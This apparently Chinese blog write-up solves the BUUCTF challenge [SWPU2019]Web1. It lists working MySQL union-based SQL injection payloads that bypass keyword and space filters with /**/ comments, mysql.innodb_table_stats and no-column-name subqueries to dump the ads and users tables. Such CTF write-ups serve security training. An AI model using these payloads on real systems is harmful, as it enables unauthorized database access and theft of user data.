CTF例题:[SWPU2019]Web1(无列名注入)

网址:BUUCTF在线评测

搜索web1

启动靶机

 点击链接进入题目

 进入题目后发现有登录和注册接口,直接注册登录。

首先通过1'进行测试,查看是否有注入点

出现报错,说明可能存在注入点

 然后继续测试发现该服务器过滤了:

or、information、join、and、#、空格

 由于or被过滤无法使用order by爆出列数

方法一:可以使用group by进行列数的爆出,空格使用/**/替换

1' /**/group/**/by/**/(1-23),'1                        '1在group by中不算一列

从第一列依次往后测试列数,直到当列数为23时,出现报错,报错如下

此时说明该列已经超出该表的列数了,由此得出该表列数为22列

方法二:使用联合查表一次次测试出列数(比方法一较为麻烦)需要将列依次写下去,如:

 1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'1   '1在联合查询中算一列

当select后面的列数与该表不对会报出以下错误(提示列数不一致): 

 当测试到与该表有相同列数时(即22列)

由上图可知,该表由22列,且数据爆出在2,3位,所以可以通过在2,3位上使用函数进行对需要的信息进行查询

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

找到数据库名

数据库名知道后,继续通过联合查询找出表名,但过滤了information和and所以可以通过mysql.innodb_table_stats和&&进行替换

-1'/**/union/**/select/**/1,concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'=1'

表名显示不全,可以通过group_concat()函数将表名显示出来

-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'='1

首先对表ads进行查询,但不知道列名,又因过滤了join所以无法使用重复报错将列名回显出来,但是知道列数,所以不找列名,直接查询


-1'/**/union/**/select /**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/ b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from /**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1---查2

-1' union select 1,(select group_concat(b) from (select 1,2 ,3 as b,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from ads)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1---查3

在表ads中都没有需要的信息,所以换成users表,但不知道users表的列数,

1'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1    ---通过修改列数(/**/1,2,3/**/),依次去查询users表的列数

测试之后查询到users表位3列,由此继续查询(注意别名)

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/’1‘=’1---查出users的列名,但没有想要的信息

1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1---查看第三列,最终得到
 

  • 30
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值